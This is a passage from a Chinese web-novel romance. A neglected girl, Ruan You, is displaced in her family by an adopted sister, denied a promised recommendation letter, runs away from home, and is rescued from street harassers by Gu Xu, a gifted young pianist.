无时无刻,都像个永不满足的小孩,在渴望着别人的爱。 而她现在成了彻头彻尾的笑话。 失魂落魄间,阮柚踩空了楼梯,不幸撞到了脑袋。 再度醒来,是在满是消毒水气息的医院。 母亲坐在她面前,握住她的手,“阮柚,你知不知道,妈妈有多担心你。” 闻言,阮柚眼睛也酸了。即使听过太多虚无缥缈的承诺,一遍又一遍的“我爱你。等我回来”,似乎都不如如今这句担心来的真挚纯粹。 阮柚胳膊挂在她脖子上,很小声叫了句,“妈妈。” 母亲抱住她,臂弯温暖至极,藏着淡淡的馨香。 一点都不难闻。 阮柚发现自己其实很贪恋这份温暖。 但她好像做了很丢脸的事。 他们是顾家的旁系,如今江、顾两家明面其实不太对付,周遭很多双眼睛在旁边盯着,因此,她蹲点江净理的笑话也成了闲暇时人们讨论的笑柄。 出院过后的书房。顾父背过身,生气极了:“你这样愚蠢,只会给家族蒙羞。” 阮柚低头在听,眼神有些茫然。 可是,没有人教过她这些啊。真的是她太笨了么,一点都没有想不到。 顾父停了数秒,继续说道,“当初就不该——” 而这句话,令阮柚整个神经都绷紧了。 她抬头看他,“不该什么?” 顾父一愣,反应过来自己的多言。他伸手拿起杯子,喝了口水,平复起伏的心情。 阮柚却想,她不该感到意外,就猜到会是这样。“是不该带我回来,应该让我在外面自生自灭,还是说当初就不该让我来到这个世……” 她的话说得缓慢,却字字锐利。 顾父瞳孔一缩,怒火瞬间攻了心。等他反应过来,巴掌已经甩了过去。 啪的一声。 房门被猛的推开,顾盛着急又紧张喊了声。顾父心头一紧,就这样对上了阮柚那双眼。 少女捂住了脸,眼睛红的发烫,倔强地藏着泪不肯落下。 阮柚心很冷。 她什么都没说,转身跑远了。 她一直跑,一直跑。记忆重合回到了很小的时候。那时,她追着父母开远的车,小小的身子跌跌撞撞,摔了满身的泥,好狼狈。 如今同样狼狈,却往相同的方向跑。 阮柚心想,他们才不是宠爱她呢。他们只是愧疚,想要弥补她。 手臂被人从身后拽住,阮柚头脑混乱,见被追上,鼻头一酸,眼泪即刻决堤,“别碰我,我是不会原谅你的…” 后悔打她了吧,后悔不要她了吧? 可后悔有用吗?她决定了,她偏要满身反骨,谁让他们以前不想要她的。 “阮柚。” 却是顾盛的声音。 阮柚浑身一僵,脑海嗡嗡作响,第一反应是感到好丢脸。 “你怎么过来了?”阮柚抬起头,压抑住了哭腔。 顾盛心疼,给她擦眼泪,“还疼吗?爸爸他…” 阮柚炸了毛,“不要提他!” “好好好,我不提我不提。” 他想也没想就顺着她来,边安抚,话里也有怨,“他的情绪太不稳定了,怎么能上手呢。” 看着揪心的疼。 顾盛眼神闪烁,说:“去冰敷一下吧。” 阮柚却没说话,幽幽望向不远处的老树,陷入安静。 像是真的失望了。 顾盛心里一空,“不过我猜他刚打完,应该就后悔了……” “要是我,肯定心疼死了。” 阮柚神情细微变化,冷冷移开了眼:“他打我,我不会原谅他的。” 顾盛低哄:“不原谅就不原谅。” “走吧,哥带你去冰敷,你这么漂亮,脸上可千万不能留印子。” 阮柚没说话,但平静下来,还是老老实实跟他走了。 她又酸涩又难受,但面上努力云淡风轻,不过好在顾盛出现在她身边,有了陪伴,她不算是孤孤单单。 她其实有点感谢他能过来安慰自己。 但阮柚性子别扭,只是紧紧拉着他,什么都没说。 她就这样和父亲陷入了冷战。她想,对方什么时候过来道歉低头,什么时候认清错误,她什么时候再和他说话。 阮柚这么想着,越发肆意生活。她越来越成了别人口中不学无术、贪玩任性的大小姐。 又一次成绩不合格,母亲叹息地说,“这么简单的题目,你怎么就不会呢?都把心思都放在哪里了?” 阮柚抿抿唇,还没说话,就听见餐桌前父亲哼了一声。 对方放下报纸,想说什么,但却没有说。 一副无话可说的样子。 阮柚越想越难受,闷声闷气:“我学了,但是学不会。” 母亲眼里有些失望。 “阮柚,你怎么学会说谎呢?” 在大人的世界里,没有什么是学不会的。世界上只有不够勤奋,懒惰懈怠的人。 阮柚这句话无疑给她打上不诚实的标签,即使她说的是真的—— 在尝试过很多次后,阮柚终于明白一点,在学习上,她一丁点天赋都没有。 这令阮柚很是挫败,越发感到厌学。 阮柚听到这句话,内心生出一股烦躁的情绪,没什么都没说就上了楼。 叛逆。 不懂事。 楼下。 顾父语气挑剔地评价这个孩子。 回家的顾盛恰好听见了,呛了声:“这算哪跟哪呢?我比她还爱玩,怎么没见你这么没说我。” 顾父蹙眉,“你是男性,是未来家族的继承人,阮柚只是个小女孩,你们之间没有相提并论的必要。” 话落,空气沉默几秒。 顾盛神情怔住,站在原地回味过来这句话,仿佛窥见一个藏的极深,残忍到令他作呕的现实。 就因为他是男性,所以他可以想做什么就做什么,不会被任何人指摘;但因为她是女孩,所以她即便只是小小的错误,却会被无限放大。 多么讽刺。 顾盛气笑了,第一次看清这个家,忍不住摔门而去。 阮柚对楼下发生的事一无所觉。 她把游戏机藏在柜子里,然后坐在书桌前,打开了台灯。 再试试吧。 不是说,勤能补拙吗? 阮柚心憋着一股气。想:她一定要挑灯夜读,然后狠狠惊艳所有人! 不能让任何人看轻自己! 这样想,心底斗志昂扬,开始翻起了书。 可久而久之—— 书上的一个个符号仿佛逐渐旋转成漩涡,混混沌沌,昏黄台灯光亮下,就像不断跳跃的音符。 阮柚揉了揉眼睛,忍不住打了个哈欠。 不死心坚持了好几次,最后还是没能继续下去。 书合上,她很是挫败,恹恹趴在床上,戴上耳机听歌。 内心平静了些。 阮柚抬了抬睫毛,静静地想。 如果学习再简单、再美好一些就好了。 就像是在耳畔流动的童谣,这么动听缱绻,让人上瘾。她一闭上眼,仿佛能看见儿时清澈的小溪。 阮柚想着想着,就这样睡着了。 而就当她还在摸索怎么成为一个世俗意义上,优秀的人时—— 几天以后,顾父从外面带回来一位和她年龄相当的女孩。 他当着众人的面,正色宣布。 “往后,她就是你们的家人,你们的妹妹。” 阮柚后来想,应该是从那天起,一切都开始发生彻底的改变。 她被取代了。 第70章 第七十章 二更合一 第七十章 女孩本名叫阿烟, 来了顾家后,改了名叫顾烟。顾烟温顺乖巧,做事样样优秀, 来了不到一个月,就迅速俘获了周遭很多人的喜爱。 顾父并未仔细解释她的来历,只对外说是因为身体不好养在国外的小女儿。而对内, 自始至终他只强调了句, 她是他们的家人。 顾盛听了和他大闹了场,出来时, 神情浑浑噩噩。 阮柚问:“怎么了?” 顾盛摇摇头,唇角牵起一抹很勉强的笑,“没什么,就是意见不合。” 阮柚看出他的心事重重, 但无论怎么问,都没有问出什么。 阮柚不喜欢顾烟。很简单, 顾烟的出现无疑分走了父母的关爱。他们喜欢拿她同自己对比, 反复比对, 自己的存在仿佛越来越渺小。 连母亲也是。 她也很喜欢顾烟, 并亲手给她织了漂亮的围巾。 阮柚看得羡慕又嫉妒, 央求着也想要。 对方回应:“下次好吗?阮柚,这样妈妈会很辛苦的。” 阮柚抿了抿唇,意兴阑珊起来。她一个人回到房间, 烦躁极了, 胸腔沉闷泛酸。委屈情绪在悄无声息发酵, 却怎么也无处发泄。 米色窗帘摇曳,飘来丝丝清浅月光。 她止不住想,妈妈从来没有给自己织过围巾呢。 她真的那么喜欢顾烟吗? 或许是觉察到她的情绪落差, 第二天,顾烟走到阮柚面前,主动和她提议,“姐姐,如果你想要它,就拿走吧。” 又不是织给她的,阮柚才不要呢。 阮柚抿抿唇。 她早就整理好了心情,觉得昨天委屈兮兮的自己就像个笑话。自然而然地,对顾烟态度说不上好。 阮柚不要,甚至有点觉得对方在炫耀。更何况,她凭什么说送就送,这么辜负妈妈的心意。 阮柚侧过脸走开了。 顾烟抱着围巾,也没再坚持。 她看着阮柚背影,想起少女明艳到张扬的眉眼,向往之余,不自觉蔓延出难以压抑的潮湿情绪。 阮柚念着艺术团过来选人的事,背着书包匆匆离开了。她喜欢弹钢琴,每天坚持上下课,很有天赋。 阮柚穿了件收腰吊带裙,灯光下,眉眼精致,肩颈修长漂亮。 她神态认真下来,整个人像镀上一层光,气质柔和温静。 台下不少人盯着她,眼神藏着惊艳。 然而没人知道,当事人心情乱七八糟。 艺术团负责人告诉她,如果想有入选艺术团的机会,首先要有人推荐,这是必不可少的环节。等级分明的社会,连艺术团的成员都经过层层筛选。 更何况,里面并不缺有天赋有背景的人。 阮柚没有把握。 自从上次为“家族蒙羞”后,她便很少出现在社交场合,也没机会认识会给自己写推荐信的贵人。而她的父母… 他们也在反复叮嘱她不要出风头,要做一个懂事的淑女。 阮柚满怀心事回到家。 冬天很冷,少女头发微乱,鼻尖隐隐透红,还未彻底习惯温暖,便看见客厅里,几人在围着顾烟安慰。 阮柚不明所以,也没什么兴趣去凑这个热闹。她正欲走开,斜刺里,却传来母亲的声音。 有些严肃,“阮柚,你过来。” 阮柚心头一空,睫毛眨了下,“哦。” 她转身走了过去,视线一抬,便瞥见顾烟哭的发红的眼睛,以及母亲微微蹙起的眉头。 阮柚收回目光,“怎么了?” 母亲看她,问,“阮柚,我问你,你有没有动小溪的围巾?” 阮柚呼吸一凉。但她还是她平静着摇了摇头,声音又慢又平,“我没有。” 顾烟的围巾不翼而飞。 她哭的悲伤极了,阮母则耐心安抚,同时,想起阮柚之前渴望又羡慕的眼神。 恰逢阮柚回家,在她看来,询问也出现的理所应当。 阮母道:“妈妈知道你很想要,但是你不能做这种事。” “说了没有就是没有!” 阮柚蹙眉,听出其中锐利的猜忌,眼底闪过一丝受伤。她不禁抬高声音。 她想,原来妈妈知道,她很想要。 但她为什么怀疑自己呢? 难道在她眼里,自己就这么坏吗? 阮母愣愣神,说,“没有就没有,我就是问一问,没有最好。” 顾烟眼睛发红,缩在阮母怀里,不知在对谁道歉。“对不起…” 阮柚冷淡挪开眼,手指抓着掌心,磨红了皮肤。 那一刻,她看着依偎在一起的两人,觉得自己好像成了一个局外人。 这个想法令她透不过气。 阮柚背着书包,上了楼。她的情绪坠落到了谷底,说不出的难受。 自从顾烟过来,父母仿佛拥有了更合格的女儿,竭力倾注了关爱。 起初,她忍不住去吃醋去争论,却被打上不懂事的标签。久而久之,等她发觉过后,竟品出愈发明显的偏心来。 阮柚心底泛凉。 不久后,顾盛得知这件事,摸她脑袋,“你放心,这辈子,我只有你一个妹妹。” 阮柚抿了抿唇,神色也柔软了下来。 她想起和顾盛先前的约定,很轻很浅嗯了声。 “这是你说的,可不能反悔。” 顾盛笑一声,“那拉钩,当立下承诺。” 阮柚却摇头,眼神莹润澄净,低低说,“只要你一直对我好,我会永远把你当最亲近的家人,哥哥。” 顾盛闻言一愣,反复回味着那一声哥哥,心像融化开温热,暖洋洋地。 他点头,说了句好。 同时依稀感受到这一刻,少女是真的很感谢自己的陪伴,很开心自己能站在她这一边。 可他最后还是没做到。 阮柚想。 她觉得自己好倒霉。 倒霉到出门踏青却偏巧下雨,又正好撞上几年都没出现过的小型泥石流。 更倒霉的是,她不慎被身边人牵连摔倒,狗血地碰上了要被二选一的境地。 阮柚清楚记得—— 在最后关头,哥哥顾盛伸出手臂,条件反射地抓住顾烟的手。 着急又紧张:“抓紧我,快。” 阮柚后知后觉想。 在她不知道的时候,顾盛早就接受了顾烟这个妹妹,只是怕她伤心,才没有表露得太明显。 但下意识的动作。 哼,骗不了人的。 原来紧要关头,阮柚还是那个被舍弃的存在。 阮柚迟钝地意识这件事。 让她意外的事,她接受地很平静,没有分毫难过的情绪。求生欲膨胀勃发,阮柚咬紧了牙关,紧要关头紧抓住了枝干。 粗糙树皮将她手掌划破出血,她浑然不知,抓得愈发的紧, 这一刻,她需要的只有自己。 等被人找到时,阮柚脏兮兮地,一双眼睛却明的像小兽。 顾盛胸口闷的难受,连神经都在抽痛。 他不由走上前去,很轻地叫了声,“阮柚。” 阮柚没说话。 顾盛愧疚至极,低垂着眸,竟不敢对上他的眼睛。 “嗯。” 然后,她只回了一个字。 除此之外,没什么多余的反应,全程安静像个木头人。 没什么话。 连一声质问都没有。 顾盛发慌,反复道歉。 阮柚却摇了摇头。 但从那以后,她再也没喊他一声哥哥。 — 那天过后,阮柚与家里人愈发疏离。 与之相反,她的性子更加乖张,想做什么就做什么,毫不顾忌别人的看法。 父母批评她很多次,但收效甚微,索性直接对她放养了。 对此,阮柚也乐得自在。她发现一个犯规的真相:倘若自己不再去渴求关爱,她就会强大到坚不可摧。 顾盛找过她很多次。 阮柚则对他始终不冷不热。 最后,她终于抬起眼,“为什么要愧疚呢?因为你救了她,没有救我?不用这样,因为无论重来多少次,你还是会这么做。” 人是有劣根性的,总会在做抉择后,极力挽回,什么都想要。 可是,哪有那样的好事呢? 阮柚默会儿,眼睛也有些酸。 “所以,你不欠我什么,我也不欠你什么。就这样吧,不要再想这些事了。”阮柚说了一长串,最后,连自己都不清楚在说什么。 顾盛心头发痛,却听出了无法挽回、覆水难收的意味,最后只得涩声,“既然这样,你可不要后悔。” 他想以退为进。 可阮柚没回话,径自走了。 说出了心里话,她久违的畅快。 阮柚沉浸在自己的世界。她将更多的世界用来弹钢琴,梦想能有朝一日进入艺术团。 顾家是顶级艺术世界,虽然她只是来自其中一个关系很远旁系,但旁人听闻她来自顾家,总会不约而同提起一个少年的名字。 ——顾叙。 “那是我见过最有天赋的人。” 阮柚听过他的名字,也见过少年的照片。 照片里,那人立在人群中间,身影颀长,阳光下皮肤冷白,眉眼很是温柔。 顾家主家的小少爷,生的极好,从小展露出惊人的天赋,年纪轻轻就获奖无数。 他是整个家族的骄傲。 对于她而言,是很遥远的存在。 有人开起玩笑,“你想进入艺术团还差推荐信吗?拜托,你来自顾家,不就是家人打个招呼的事情嘛。” 阮柚唔了声。 她和家人的关系岌岌可危,他们怎么会给她写推荐信呢。 不过这句话,确实在她心里埋下种子。 阮柚生日快到了。 客厅里。 母亲试图缓和关系,坐在沙发上,主动问她想要什么礼物。 阮柚停住步伐。 一旁的顾盛闭目养神,实则竖起耳朵听。 阮柚神情一动,心砰砰直跳。 那个念头就这样自然而然出现,扎根生长,呼之欲出—— 她眼神清明,鼓起勇气把想法说了出来。 母亲闻言微微颔首,“这么简单的愿望?” 她还以为,阮柚会和以前一样,缠着她带她去国外旅游,或者买限量版衣服包包。 顾盛也在悄悄打量她。他们好久没好好说话了,他服软过,道歉过,可阮柚就是不原谅他,让他几乎无计可施。闻言,顾盛心底盘算,这次她的生日礼物…得用心准备才是。 阮柚闻言,不自觉涌起期待和喜悦来,“嗯,我想要这个。” 她确定地点头。 母亲想了想,嘱咐:“进入艺术团有很多层的筛选门槛,推荐信只是敲门砖,后续你得好好努力,不能贪玩。” “我会的。”阮柚胸腔一热,从未感觉离梦想这么接近过,语气认真,“我一定会好好努力的。” 她细细重复。 母亲答应了。 回房间后,阮柚轻飘飘地,像踩在棉花上幸福感来了那么不真实。 她躺在了床上,再度戴上了耳机。 清泠的钢琴曲在耳畔静谧流淌,她朦朦胧胧地想,她一定会好好珍惜这个机会的。 她等呀等,终于盼来了生日。 阮柚生日那天,哥哥顾盛拦住她,自顾自说,“我打听了,艺术团不是那么好进的,而且里面出了很多霸/凌丑闻,没你想的那么好。” 阮柚眨了下眼。 她今天扎了个丸子头,稍微松散,几缕鬓发勾勒着小小的鹅蛋脸,漂亮的不像话。 她侧过脸,“不用你管。” 顾盛盯她一会儿,说:“我是好心相劝。” 到时候,可别哭鼻子。 阮柚牵了牵唇角,皮肤白里透红,精致眉眼愈发明媚。 她睫毛翘了又垂,尤为灵动,“我才不需要呢。” 说罢,她走远了。 生日蜡烛吹灭后,阮柚闭眼许完了愿望。 她的心脏砰砰直跳,走到另一头,迫不及待拆开母亲的礼物。 尔后。 视线倏然落空。 她什么也没有抓住,大脑一片空白。 阮柚目光久久凝望那个项链。 迷茫、疑惑席卷…她全身血液在倒流,站在原地,浑身寒凉。 脑海嗡嗡长鸣,她颤了颤睫毛,一瞬间,不知该作何反应。 这时,她听见母亲柔和带笑的声音。 “全世界只有这么一条,这是妈妈专门为你定制的,快戴上,看看喜不喜欢?” 闻言,阮柚却有种缺氧感,太阳穴钝钝的疼。 整个人安静极了。 顾盛蹙起了眉,率先发现她的异样,唤她,“阮柚。” 顾烟哇了一声,温柔笑起来,“好漂亮,姐姐快戴上呀。” 阮母继续催她试戴。 阮柚却浑然不知似的,只是问,“我的信呢?”她仍然残存星星点点的希冀。 阮柚想,不能把?她不能这么对她吧。 明明,都说好的啊。 她眨了眨眼睛。 视线缓慢移,再度望向了母亲。 阮母笑容一僵,迟疑过后,将先前想好的话说了出来。 “阮柚,妈妈昨天想过了,这个机会固然不错,但并不是完全适合你。因为进艺术团要吃很多的苦,还要一个人去国外培训。你一直被娇养着长大,哪里能吃这些苦,还不如继续当个小公主,每天穿的漂漂亮亮,多好。” 阮柚不语,只是静静看她。 目光停留久了,阮母难免有些心虚,一颗心高高提着,但面上却还是神色如初。 见气氛不对,顾父出来打圆场,“行了行了,多大点事。再说了,就算给了推荐信,选不选的上都还不一定。” 阮柚却问:“所以,你给谁了。” 阮母好似没听见,自顾自说下去:“准备的礼物不喜欢吗?阮柚,这是妈妈特意为你定制的项链,可不能辜负我的一片心意呀。” 她抬起手,拿起项链,想要给她戴上。 阮柚却退开一步,眉眼藏着冷淡和失落,“我根本不想要!” 她受够了。 少女胸口一起一伏,声音激动地打着颤,明明心情支离破碎,却一滴泪也流不下来。 阮母僵住。 顾烟肩膀瑟缩了下,像是被吓到。 顾父怒斥:“你这是什么态度!” 顾盛看不下去了,上前低哄,“阮柚,别难过,我给你买了很多好看的裙子,都在楼上,你要不要去看看。” 阮柚看也没看她。 她想要一个答案,而这个答案,她只想从她妈妈口里亲口说出来。 而阮母却什么都没说。 她只将项链原封不动放了回去。 “不想要就不要,我先帮你保存,等你以后过成人礼,再戴。” 对牛弹琴,阮柚笑笑。 却说,“你们真的有保护过我吗?有吗?凭什么现在说的这么冠冕堂皇。” 阮母蹙眉,也有些生气了:“我这是为你好,为你考虑。那条路根本不适合你。” 阮柚抿起了唇,只觉讽刺。 就这样轻飘飘一句为她好,就可以轻易毁掉一个承诺,就可以束缚住她的未来。 她觉得很荒唐。 接踵而至,是透顶的失望。 头脑混沌到极点,终于冲破一道口子。 阮柚心脏抽抽的疼,再也不想说什么了。这一刻,她明白过来,自己只想离开。 于是,不顾身后的喊叫,她跑出了家门。 别墅外夜色浓郁,大雾久久难以弥散。 顾盛气喘吁吁追上她,看着雾里迷蒙模糊的背影,神情慌乱起来,“阮柚,你去哪?” 闻言,阮柚步伐停了下来。 她的语气听不出情绪,“你早就知道了,是不是。” 事到如今,顾盛早没有撒谎的必要,很轻的说,“是,可是,我是怕你伤心。” 阮柚接着说:“那封推荐信,是给了顾烟吧。” 顾盛瞳孔一缩,没想到阮柚心思敏锐到这种程度,能够一下子就猜中。 夜色里,他眼神明灭交错,隐忍的情绪在反复挣扎,最后说,“阮柚,对不起。” 安静半晌,阮柚来了句:“骗子。” 她语速很慢,就仿若,他们的关系如回到从前,一如既往的亲密。 “嘴上说着想保护我,实际上,都在骗我。” 顾盛呼吸一重,密密麻麻的疼痛席卷身体,仿佛在昭示,有什么快要失去—— 他张了张唇,辩解的话,却无论如何都想不出来。 阮柚笑了下。 临走前,她只留了句听不出多少情绪的话语: “以前的我,真傻。” — 大雨滂沱。 街景霓虹灯牌遍布,折出昏昧光斑。 道路灰蒙蒙的坑洼积水,偶尔,有烟灰抖落而下,融在污泥。 网吧门口徘徊着几个无所事事的少年。 烟雾缭绕,呼吸散开青白的烟雾。雨幕,一抹极为特别的身影再一次路过这里。 少女撑伞走过。 她穿的极简,白T,深蓝牛仔裤,可愈发简单,愈发衬出容颜的惊艳。 她是前几天出现在这里的。 刚开始,几人打赌,应该又是哪个不问世事的娇小姐走错了路,可等了一天又一天,还是没见有人接她回来。 她好像很穷。 住的还是这里最便宜的房子。 几人动了心思,蹲点,终于等到人。 阮柚浑然不知。 她离开顾家已经一个多星期了。 看似冲动做出的决定,实则直到现在,她都没有后悔。 不过尽管如此。 她仍不可避免感觉到了迷茫。 阮柚身上并没带多少钱,这几天租房子买吃的几乎快要花完了。如今她饥肠辘辘,太久的饥饿,整个人说不出的烦躁。 想啃人。 何况—— 她平生第一次,这么讨厌下雨天! 雨水淋漓,重重砸下来。 阮柚拎着买来的日用品,裤脚都打湿了,细白脚踝冰冰凉凉,冷地几乎舌齿打颤。 于是,她加快脚步,往租的地方走。 可就在一个巷子。 好巧不巧,阮柚就被三个黄毛拦住了。 她心头一紧,暗自想出门前该看看黄历。 但她无暇多想,觉察出几人来者不善,神经随之绷紧。 但她面上不显。 斜刘海笑了声,“小妹妹,重不重啊,要不要我帮你拎。” 黄毛推他:“呸,你平白无故献什么殷勤。妹妹别理他,他是出了名的不解风情,要我说,累了就告诉我,我来给你揉揉。” 斜刘海跳脚,“草,怎么还踩一捧一!” 阮柚脆生生问:“不累。你们能让开吗?” 少女嗓音甜甜的,斜刘海听地激动一瞬,语气也说不出的肉麻,“不能,除非你做我女朋友。” “哦,好吧。” 阮柚安静点点头,神情无甚变化。 黄毛看了眼,内心一喜,刚要上前一步,眼睛忽然一痛。 草! 什么玩意儿? 阮柚用力将长柄雨伞砸过去,没来得及收,就越过他们撒腿就跑。 身后几人低声咒骂,很快反应过来,追了过来。 阮柚跑过狭窄的巷子,淋漓雨丝就这么迎面扑了过来。 她浑身湿透了,逆着雨丝,是钻骨的凉。她一直跑一直跑,即便呼吸间传来甜腥,也不敢停歇懈怠。 一直到—— 在拐角尽头,她直直撞入一个人的怀里。 那人很高,撑着一把伞,身上是柔和的松木香,仿佛掺杂丝丝令人安定的温柔。阮柚视线一晃,被撞的站姿不稳之时,对方倾了下伞檐,抬起手,眼疾手快扶住她的胳膊。 尔后,清淡声线随风送在她的耳畔。 “小心。” 闻言,阮柚仓皇抬起了眼。 下一秒,乌黑的眼瞳映出一张极干净的面孔。 少年皮肤很白,轮廓是雕琢般的柔和,左耳挂着一根白色的有线耳机。而另一根,随着意外碰撞,松松绕在阮柚的手指上,于皮肤牵连出丝丝麻麻的痒。 觉察出少女的恐惧瑟缩,他神色细微变化,试图安抚,“别怕,你可以试着相信我。” 恰逢此时,身后再度传来了咒骂声。 阮柚睫毛颤了颤。 恍惚间,她蓦地想到于记忆里,被照片定格的温柔少年。 那是一双同样泛着灰、极漂亮的眼睛。 思及此处,阮柚呼吸一滞,指腹细细麻麻,传来对方皮肤冰凉的温度。 再抬眸,少女眼睛蓄满了水光,想都没想就抱住了他的手,整个人缩在他的身后,又乖又可怜。 “哥哥,救我。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 第七十一章 顾叙篇 第七十一章 雨丝渐歇。 雨滴顺砖瓦滑落, 似有似无地敲击着伞面,在清晰放大。 就好像听见了她的呼吸。 顾叙来到这里只是个意外。 他从无休止的课业中短暂抽离,出来时恰逢雨雾蒙蒙, 仰头望向了灰白天空,看久了,倏地生出一股荒诞不实之感。 倘若生活只是重复。 戴着耳机, 顾叙漫无目地走。 最后, 来到了他未从涉足过的地方。 这里贫瘠又潮湿,密不透风的墙角爬着经久不褪的苔藓, 却是仅剩不多的鲜活绿意。 时间仿佛停止了流动。 直到—— 他遇到一个人。 少女就这样跑进他的世界。 世界上有太多巧合,但只有这次,阮柚有种被命运击中的感觉。 她竟然遇见了顾叙。 那位遥不可及又极为耀眼的少年。 阮柚抱的越来越紧,像是怕极了, 想要抓住最后浮木。 顾叙摘了耳机,再度开口:“我在。” 他的语气很温柔, 却丝毫不刻意。如涓涓溪水, 拥有抚慰众生的力量。 几人愈来愈近。少年很平静, 低下头瞧她, “我不太擅长打架。” 阮柚眼神一明一灭, 牢牢抱他的手,内心浮起没听懂的迷茫。 嗯? 顾叙说:“所以先躲起来,等会儿再处理好不好?” — 阮柚觉得顾叙好高啊。 天色暗了下来。 昏弱的灯光远远扫下, 细细地拉长了人影。 少年的影子快要把她覆盖了。 两人站的很近。 阮柚能闻到他身上淡淡的松木香, 很好闻, 让她天然地想要靠近。 她又喊了声哥哥。 满心依赖的抓住了他袖子。 顾叙打完了电话,垂手时,手指恰好碰到对方的手心, 软软的,磨出酥酥麻麻的痒。 他觉察阮柚的动作,牵出笑,换了个更轻松的口吻,“不怕,坏人已经被抓起来了。” 阮柚:“谢谢哥哥。” 她的语气说不出的乖。 顾叙这才细看她的脸。女生很白,五官尤为精致。大概是跑累了,她的脸颊浮起薄红,一双眼睛却极为明亮,如洗净一般澄澈,没有畏惧。 似乎猜到他在想什么,阮柚笑起来:“有你在,我什么都不用怕啦。” 顾叙闻言失笑:“这么相信我,万一我是坏人呢?” 说完连自己都一愣。 有意外,有后悔。 他怎么能这样逗一个刚脱困的小姑娘呢? 阮柚:“你不是。” 她却神态认真,“如果你是坏人,刚刚就不会救我。” 顾叙没说话。 尽管内心深处有个声音,想要告诉她,人都是复杂的。有的人会给你一个拥抱,却又能在拥抱时,毫不犹豫将匕首送进你的心脏。 但他不准备继续这个话题。 天色已晚,顾叙看了下手表。 不早了,他该离开了。 他刚想将这个女孩送回家,这时,却听见对方肚子叫的声音。 对上顾叙的视线,没有困窘,阮柚只是抬头瞧他,“哥哥,我饿了。” 顾叙带她去吃饭。 阮柚平时吃的不多,加上今天穿的少,凉风吹过显得瘦弱单薄。顾叙盯着她的脑袋瞧,为自己内心产生的怜惜而迷茫。 实际上,他并非同情心泛滥的人。 今天是怎么了? 也许是,雨停了吧。 雨停了,却起了风。阮柚走的有点累了,她拉着顾叙,找了最近的饭馆。 烟火气息浓郁。 房檐下放了个黑色长椅上,上面躺了一只橘猫,小猫没什么警惕心,见到两人来了,还懒洋洋地伸懒腰。阮柚目光被吸引,但她不敢去摸,因为她猫毛过敏。 顾叙并不饿,给阮柚点了吃的。 路上他知道了阮柚的名字,口里念了一遍,竟很顺口。 就好像,先前念过无数遍一般。 阮柚真的饿了。 她吃的面颊鼓鼓,像只可爱的仓鼠。 吃饱了。 她咬着吸管喝饮料,正发呆呢,听见顾叙问,“你多大了?” 阮柚抬头,生出玩心:“你猜。” 顾叙想了想:“不超过十五岁。” “错了。”阮柚面不改色,“我成年了。” 顾叙含混笑了声,垂着眼皮,不知道信还是不信。 阮柚丝毫没有说瞎话的自觉,反而问他,“哥哥,你多大了?” 顾叙:“十九。” 他又说,“那片地段不怎么安全,以后最好不要一个人走。” 阮柚:“我也不想一个人呀。” “你的家人呢?” 顾叙继续说,“需要我等会打电话,让你家人过来接吗?” 他能看出阮柚满眼的信任依赖,却不知这些情感是从何而来。毕竟在此之前,他们只是陌生人。而他,还是一个异性。 如果他是坏人呢? 顾叙把她归于女孩过于薄弱的防备心。 话说完,阮柚脸色明显暗淡下来。她松开咬住的吸管,低低盯着透明杯子,脆弱又委屈,“我早就不要他们了。” 顾叙心里一空,“抱歉。” “而且…”阮柚透过杯面安静的折射,观察着顾叙神情,微微抬了抬唇,“我现在有新的家人了。” “嗯?”顾叙稍抬鼻音。 “你啊。” 阮柚甜甜地笑,“哥哥,你现在是我唯一的家人了。” 顾叙一怔,脊背往后靠了靠,眼底浮起星星点点的无奈来。少女变脸速度太快,不按套路出牌,偏偏透出些可爱灵动,并不让人反感。他就像看一个小孩玩乐般,笑着说,“今天才刚见面,我就这么重要了?” 阮柚摇摇头,“没有先来后到的。” 她看向顾叙。 很自然而然地,她注意到,少年有一双骨感分明、修长漂亮的手。就是这双手,弹奏出了动人缱绻的琴声,让他早早就抵达了她毕生渴求的高度。 出神间隙,她的视线微微上移。 少年袖口稍稍卷起,露出冷白的皮肤,可她的目光却被腕骨往上的几道结疤的划痕吸引,宛若白玉留痕,突兀违和。 她心底划过短暂的异样。 顾叙觉察她的停留,抬手倒了杯水。 开口说,“你家在哪里,我送你回去。” 回去。 阮柚不想回去。她呼吸放慢了些,耷拉下神情,嘟囔了句,“你不能陪我吗?” 顾叙眉眼柔和:“我该离开了。” 阮柚不想让顾叙离开,但顾叙总是会离开的。这个命题永远无解,让她一下子步入了死胡同。她似乎越想越委屈,出门后,语气有哭腔,“哥哥,能不能不要丢下我。” 夜色茫茫,灯火稀少。 寂静无声仿佛将五感放大,细密情绪仿佛一张大网笼了过来。 无法忽视。 闻言,少年身影一顿,慢下脚步停在她面前。顾叙就这样对上一双逐渐湿漉的眼睛。 湿凉的晚风透过鼻腔送了进来,浸透心肺。 顾叙说:“我没有丢下你。” 夜色里,少年灰色眼瞳极干净,试图安抚,“我只是想送你回家。” 阮柚垂垂眼睫,闷闷地盯着脚尖,“可我没有家。” 顾叙说:“外面不安全。” 他轻轻叹了口气,说,“阮柚,我不会一直陪着你。”他在他认真讲道理。 阮柚不说话了。 整个人一下子低落了下来。 顾叙见状一怔,不由想了想自己刚刚的措辞。 刚下过雨的夜色湿凉,空气翻涌过微弱的土腥。灯光零星的老街冷冷清清,只剩少年少女并排走着。 沉默好几秒,阮柚像是终于想通了什么,说,“我知道了,你回去吧,不用管我。” 说完这句话,她就加快了脚步,留下背影。 顾叙蹙了下眉。 阮柚不算熟悉这里的路,只好凭感觉走。 她的鞋子好几次不小心踩在泥水坑里,溅在了她的裤脚,湿透了黏在腿上,令她有种说不出的狼狈。 烦。 闷涩。 直到,顾叙从身侧拉住了她手臂。 他松开她,说:“别哭了。” 阮柚眨了眨眼。对方越这么说,她却好像更委屈,眼尾都红了,模样可怜兮兮地。 可她不躲不闪,问,“你不是讨厌我吗?” 顾叙稍稍直起脊背:“我什么时候说过?” 阮柚抿抿唇。 明明刚才,他都在赶自己走了。 但她相信顾叙不会说谎。她能感觉到,顾叙是很干净的人,不然,他不会这样帮她。 安静数秒,顾叙说:“很喜欢水吗?” 阮柚不自觉抬起了眼。 四目交接,有风送过来。她再度闻到少年身上好闻的松木香,干干净净。 顾叙笑起来,灰色眼瞳拖起了弯弯的弧度,荡起温柔的潭水。 “不然为什么站在水里,这里很凉的。” 阮柚一怔。她如今可狼狈了,可对方像是看不到,却用另一种方式提醒她。 阮柚抿了抿唇,有些不自然。 半晌,她低低地说,“我只是忘记离开了。” 